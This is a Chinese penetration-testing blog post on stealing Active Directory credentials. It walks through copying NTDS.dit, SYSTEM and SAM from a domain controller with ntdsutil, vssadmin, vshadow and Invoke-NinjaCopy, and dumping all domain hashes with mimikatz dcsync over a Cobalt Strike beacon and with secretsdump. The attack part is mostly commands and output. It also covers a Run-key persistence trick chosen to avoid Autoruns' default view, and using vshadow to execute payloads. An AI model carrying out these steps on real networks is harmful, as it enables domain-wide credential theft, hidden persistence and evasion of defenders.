渗透测试-域内密码凭证获取

Ntds.dit

活动目录数据库(NTDS.DIT)
Ntds.dit 是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。

非域环境也就是在工作组环境中,有一个sam文件存储着当前主机用户的密码信息,想要破解sam文件与ntds.dit文件都需要拥有一个system文件。

AD DS 数据存储:

由 Ntds.dit 文件构成。

默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中

只能通过域控制器进程和协议访问。

Ntds.dit:包含了当前域中所有的用户的账号信息,和其HASH值通过获取 Ntds.dit 和 SYSTEM 文件的副本,最可靠的执行密码审计的方法是脱机的。
由于Windows阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。

ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置: C:\Windows\System32\config\SYSTEM
sam文件位置: C:\Windows\System32\config\SAM

活动目录数据库

由 NTDS.DIT 文件构成,是Active Directory的核心

存储在域控的 *%SystemRoot%\ntds* 文件夹下

只能通过域控制器进程和协议访问

在工作组环境中,SAM文件存储着当前主机用户的密码哈希值
在域环境中,NTDS.DIT文件存储了域中所有用户的密码哈希值

因此我们可以通过获取到这两个文件,然后破解得到其中所存储的密码哈希值。

Windows系统为了进一步保护存储的密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。

因此想要破解 SAM 文件与 NTDS.DIT 文件都需要获取一个 SYSTEM 文件。

由于Window会阻止对这些文件的标准读取或复制操作,如果直接去复NTDS.DIT 文件,会提示文件被系统占用,所以常规的复制下载方法是无法获取到文件副本的,因此需要通过特殊方法来获取。

Volume Shadow Copy

Volume Shadow Copy Service 卷影复制服务(VSS)是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。

用于数据备份。

支持 Windows Server 2003 及以上操作系统。

系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定。

禁用 VSS 会影响系统正常使用,如 System Restore 和 Windows ServerBackup,我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DIT、SAM、SYSTEM 等文件副本。

注意:

  1. 调用 Volume Shadow Copy 服务会产生SYSTEM日志, Event ID 为7036。
  2. 执行 ntdsutil snapshot “activate instance ntds” create quit quit 会额外产生 Event ID 为 98 的日志。
hash数量:所有用户
免杀:不需要
优点:
获得信息全面
简单高效
无需下载ntds.dit,隐蔽性高

Ntdsutil

Ntdsutil.exe 是一个命令行工具,它为 Active Directory 域服务 (AD DS) 和Active Directory 轻型目录服务 (AD LDS) 提供管理工具。您可以使用ntdsutil命令执行AD DS 的数据库维护,管理和控制单个主机操作,并删除域控制器留下的元数据,这些域控制器在未正确卸载的情况下从网络中删除。

域环境默认安装,要使用 Ntdsutil.exe ,您必须从管理员命令提示符运行。

如果安装了 AD LDS 服务器角色但未安装 AD DS 服务器角色,则可以使用dsdbutil.exe 和 dsmgmt.exe 命令行工具来执行可以使用 ntdsutil.exe 执行的相同任务。

支持系统:

Windows Server 2003
Windows Server 2008
Windows Server 2012

交互式

方法一:

  1. 以管理员身份打开命令提示符(cmd.exe)
  2. 在命令提示符输入 ntdsutil 命令
  3. 在 ntdsutil 提示符下输入

ntdsutil  #进入ntdsutil命令行
activate instance ntds  #激活 AD DS 实例

snapshot
create
mount [GUID]
copy C:\$SNAP_202205161140_VOLUMEC$\Windows\NTDS\ntds.dit 

在这里插入图片描述另打开一个终端:
在这里插入图片描述
然后删除快照。
在这里插入图片描述

方法二:

  1. 以管理员身份打开命令提示符(cmd.exe)
  2. 在命令提示符输入 ntdsutil 命令
  3. 在 ntdsutil 提示符下输入

activate instance ntds #激活 AD DS 实例

ifm  #为可写(full)和只读域控制器 (RODC) 和 AD LDS 实例创建安装介质。

create full <Drive >:\<Folder>  #为可写 Active Directory 域控制器或 AD LDS 实例创建安装介质到指定文件夹中

在这里插入图片描述

<Drive > :\<Folder>是要创建文件的文件夹路径。

查看是否成功读取成功:
在这里插入图片描述

非交互式

查询当前系统的快照

ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

在这里插入图片描述
在这里插入图片描述

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

在这里插入图片描述
GUID:{38319164-2abd-4381-bb19-fb3d3d6edaeb}

挂载快照

ntdsutil snapshot "mount {38319164-2abd-4381-bb19-fb3d3d6edaeb}" quit quit

在这里插入图片描述
快照挂载为 C:\$SNAP_202208182153_VOLUMEC$\

复制ntds.dit

copy C:\$SNAP_202208182153_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit

copy C:\$SNAP_202208182153_VOLUMEC$\windows\system32\config\SYSTEM c:\SYSTEM

在这里插入图片描述

卸载快照

ntdsutil snapshot "unmount {38319164-2abd-4381-bb19-fb3d3d6edaeb}" quit quit

在这里插入图片描述

删除快照

ntdsutil snapshot "delete {38319164-2abd-4381-bb19-fb3d3d6edaeb}" quit quit

在这里插入图片描述

Vssadmin

vssadmin:卷影复制服务管理命令行工具

域环境默认安装
支持系统:

Windows Server 2003
Windows Server 2008
Windows Server 2012

查询当前系统的快照

vssadmin list shadows

在这里插入图片描述

创建快照

vssadmin create shadow /for=c:

获得 Shadow Copy Volume Name 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

复制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds3.dit

删除快照

vssadmin delete shadows /for=c: /quiet

在这里插入图片描述

Vshadow

Vshadow ( vshadow.exe ): 是用于管理卷影副本的命令行实用程序。此工具包含在Microsoft Windows Software Development Kit (SDK) 中,有 Microsoft 签名。
Vshadow 有很多功能,包括执行脚本和调用命令以支持卷影快照管理的能力。

查询当前系统的快照

vshadow.exe -q

在这里插入图片描述

创建快照

vshadow.exe -p -nw C:
参数说明:
-p persistent,备份操作,重启系统不会删除
-nw no writers,用来提高创建速度
C: 对应c盘

在这里插入图片描述
获得 SnapshotSetID 、 SnapshotID 、 Shadow copy device name

复制ntds.dit

copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit

在这里插入图片描述

删除快照

vshadow -dx={SnapshotSetID}
vshadow -ds={SNAPSHOT ID}

在这里插入图片描述

利用vshdow执行命令

Vshadow.exe 支持 -exec 参数,可用于执行二进制文件(.exe)或脚本(.bat/.cmd)

-exec 参数不支持命令参数。

要求:

管理员权限
上传 Vshadow.exe
上传攻击载荷

执行命令格式:

vshadow.exe -nw -exec=<\path\to\exe> <系统驱动器>

-nw:允许我们在不调用卷影副本编写器的情况下创建卷影副本,实际上,这是一个非持久性卷影副本,不会留下“物理”磁盘证据。

执行命令:

beacon> shell vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
[*] Tasked beacon to run: vshadow.exe -nw -
exec=c:\windows\system32\notepad.exe c:
[+] host called home, sent: 87 bytes

成功执行 Vshadow 将启动卷影服务 (VSS),如系统事件 ID 7036 所示,并调用VSSVC.exe 进程。

执行后,后台存在进程 VSSVC.exe ,同时显示服务 Volume Shadow Copy 正在运行,需要手动关闭进程 VSSVC.exe。

注:手动关闭进程 VSSVC.exe 会生成日志 7034

自启动持久化和规避

利用思路:
vshadow.exe 包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns 的默认启动列表不显示。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "C:\vshadow.exe -nw - exec=c:\windows\system32\notepad.exe c:" 

在 AutoRuns 中,当过滤 Microsoft Entries 时,我们将看不到我们的登录条目。

但是,如果我们取消选择 Microsoft Entries 并启用Windows Entries ,我们将看到我们的持久性机制的记录。
在这里插入图片描述

NinjaCopy

使用 PowerShell 复制 NTDS.dit / Registry Hives ,绕过 SACL/ DACL / File
Locks

下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1

用于获取哈希的技术要么依赖于将代码注入 LSASS ,要么使用卷影复制服务来获取包含哈希的文件
的副本。

Invoke-NinjaCopy ,一个 PowerShell 脚本,能够通过获取卷的读取句柄并解析NTFS 来复制 NTDS.dit 、注册表配置单元和位于 NTFS 卷上的任何其他文件。这不需要提升到 SYSTEM 、注入到 SYSTEM 进程或启动新服务/可疑程序。

原理简述:获取 C 卷的读取句柄(管理员帐户可以执行此操作),能够读取整个卷的原始字节。然后,解析 C 卷上的 NTFS 结构,确定特定文件的字节在卷上的位置,扫描到该位置并复制文件字节。

Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination.\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination"C:\Users\Administrator\Desktop\ntds.dit"

在这里插入图片描述
在CS使用该命令时只需要在前边加上powershell即可。

powershell Import-Module .\invoke-NinjaCopy.ps1
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination.\sam.hive
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination"C:\Users\Administrator\Desktop\ntds.dit"

解密Ntds.dit文件

mimikatz在线破解

在线破解,不用将域控上的 ntds.dit 文件下载下来,直接在已有的shell上破解。

有一个cs弹回的beacon,就可以在beacon中直接利用mimikatz来破解,这一切的前提是有管理员权
限。Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。

使用Mimikatz的 dcsync 功能,可以利用目录复制服务(Directory Replication Service,DRS)从NTDS.DIT文件中提取密码哈希值。

在获得管理员权限后,通过Cobaltstrike弹回的beacon利用mimikatz模块进行密码Hash提取。

获取zsyy域内所有用户Hash

lsadump::dcsync /domain:zsyy.local /all /csv

请添加图片描述
查看john用户的详细信息

 lsadump::dcsync /domain:zsyy.local /user:john

在这里插入图片描述
查看所有用户的详细信息

lsadump::lsa /inject

在这里插入图片描述

离线破解

离线破解一般需要两步,首先就是将远端域控的 ntds.dit 下载到本地,然后再在本地进行破解。

ntds.dit 文件一直在被 windows 系统使用,所以常规的复制下载方法是无法将文件下载到本地的。

首先将域控的 NTDS.DIT 和 SYSTEM 文件下载到本地,然后在本地进行破解。

QuarksPwDump

QuarksPwDump 是一款用于Windows用户凭据提取的开源工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。

需要上传到目标主机执行(获取目标主机的 SYSKEY 解密 ntds.dit ),但是容易被杀软查杀。

  1. 修复复制出来的数据库
esentutl /p /o ntds.dit
SecretsDump

通过 impacket 套件中的 secretsdump.py 脚本。

secretsdump.exe -sam sam.hive -system system.hive -ntds ntds.dit LOCAL

在这里插入图片描述

扩展

  1. 日志文件
    调用 Volume Shadow Copy 服务会产生日志文件,位于System下, Event ID 为 7036。

执行 ntdsutil snapshot “activate instance ntds” create quit quit 会额外产生Event ID 为98的日志文件。

在这里插入图片描述

  1. 访问快照中的文件
    查看快照列表:
vssadmin list shadows

在这里插入图片描述

无法直接访问 ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件可通过创建符号链接访问快照中的文件:

mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

在这里插入图片描述
删除符号链接:

rd c:\testvsc
  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

曲折上升

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值